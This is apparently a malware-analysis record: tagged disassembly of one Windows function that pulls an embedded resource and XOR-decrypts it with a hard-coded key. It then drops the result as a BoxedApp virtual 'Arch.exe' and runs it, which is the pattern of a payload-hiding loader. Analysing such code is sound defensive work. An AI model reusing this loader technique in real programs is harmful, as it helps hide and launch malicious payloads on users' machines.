Function at 0x401070
Capabilities:
Create process on windows
Create process suspended
Extract resource via kernel32 functions
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
mov eax, dword [0x41a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x70], 0
mov byte [ebp - 0x14], 0x13
mov byte [ebp - 0x13], 0x45
mov byte [ebp - 0x12], 0xfe
mov byte [ebp - 0x11], 0x1c
mov byte [ebp - 0x10], 0x51
mov byte [ebp - 0xf], 0x7a
mov byte [ebp - 0xe], 0x88
mov byte [ebp - 0xd], 0x90
mov byte [ebp - 0xc], 0xaa
mov byte [ebp - 0xb], 0x3b
mov byte [ebp - 0xa], 0xb1
mov byte [ebp - 9], 0xc3
mov byte [ebp - 8], 0xd2
mov byte [ebp - 7], 0x8a
mov byte [ebp - 6], 0x5a
mov byte [ebp - 5], 0x2f
mov dword [ebp - 0x90], 0x11111111
cmp dword [ebp - 0x90], 0x11223344
jne 0x4010f2
mov eax, 4
imul ecx, eax, 0
mov dword [ecx + 0x41a8c8], 1
push 1
push 0x1000
call fcn.004060ce
add esp, 8
mov dword [ebp - 0x94], eax
push 0x41880c
push 0xaf
mov edx, dword [0x41a8b0]
push edx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x7c], 0
jne 0x40112e
xor eax, eax
jmp 0x401362
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [0x41a8b0]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0
jne 0x401155
xor eax, eax
jmp 0x401362
mov edx, dword [ebp - 0x8c]
push edx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jne 0x401178
xor eax, eax
jmp 0x401362
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, dword [0x41a8b0]
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x401199
xor eax, eax
jmp 0x401362
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x74], eax
push 0x81b458
push 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push str.Arch.exe
push 0x81b458
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp - 0x80]
mov dword [ebp - 0x74], ecx
push 1
xor edx, edx
mov eax, dword [ebp - 0x74]
add eax, 0x64
setb dl
neg edx
or edx, eax
push edx
call fcn.004060ce
add esp, 8
mov dword [ebp - 0x78], eax
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0x78]
push eax
call fcn.00402d40
add esp, 0xc
mov dword [ebp - 0x6c], 0
jmp 0x401214
mov ecx, dword [ebp - 0x6c]
add ecx, 1
mov dword [ebp - 0x6c], ecx
mov edx, dword [ebp - 0x6c]
cmp edx, dword [ebp - 0x74]
jge 0x401252
cmp dword [ebp - 0x70], 0x10
jne 0x401229
mov dword [ebp - 0x70], 0
mov eax, dword [ebp - 0x78]
add eax, dword [ebp - 0x6c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x70]
movzx eax, byte [ebp + edx - 0x14]
xor ecx, eax
xor ecx, 0x25
mov edx, dword [ebp - 0x78]
add edx, dword [ebp - 0x6c]
mov byte [edx], cl
mov eax, dword [ebp - 0x70]
add eax, 1
mov dword [ebp - 0x70], eax
jmp 0x40120b
call dword [sym.imp.bxsdk32.dll_BoxedAppSDK_Init]
cmp eax, 1
jne 0x40133c
push 0
push 0
push 1
push 0
push 1
push 0x40000000
push 0x81b458
call dword [sym.imp.bxsdk32.dll_BoxedAppSDK_CreateVirtualFileA]
mov dword [ebp - 0x88], eax
cmp dword [ebp - 0x88], 0xffffffff
je 0x40133c
mov ecx, dword [ebp - 0x74]
push ecx
mov edx, dword [ebp - 0x78]
push edx
mov eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.KERNEL32.dll__lwrite]
mov ecx, dword [ebp - 0x88]
push ecx
call dword [sym.imp.KERNEL32.dll__lclose]
push 1
push 2
call dword [sym.imp.bxsdk32.dll_BoxedAppSDK_EnableOption]
push 0x44
push 0
lea edx, [ebp - 0x58]
push edx
call fcn.004022c0
add esp, 0xc
mov dword [ebp - 0x58], 0x44
xor eax, eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x68]
push ecx
lea edx, [ebp - 0x58]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x81b458
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40131c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d_._n
call fcn.00401030
add esp, 8
xor eax, eax
jmp 0x401362
push 0xffffffffffffffff
mov eax, dword [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x64]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.004060d9
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040138a
mov esp, ebp
pop ebp
ret 0x10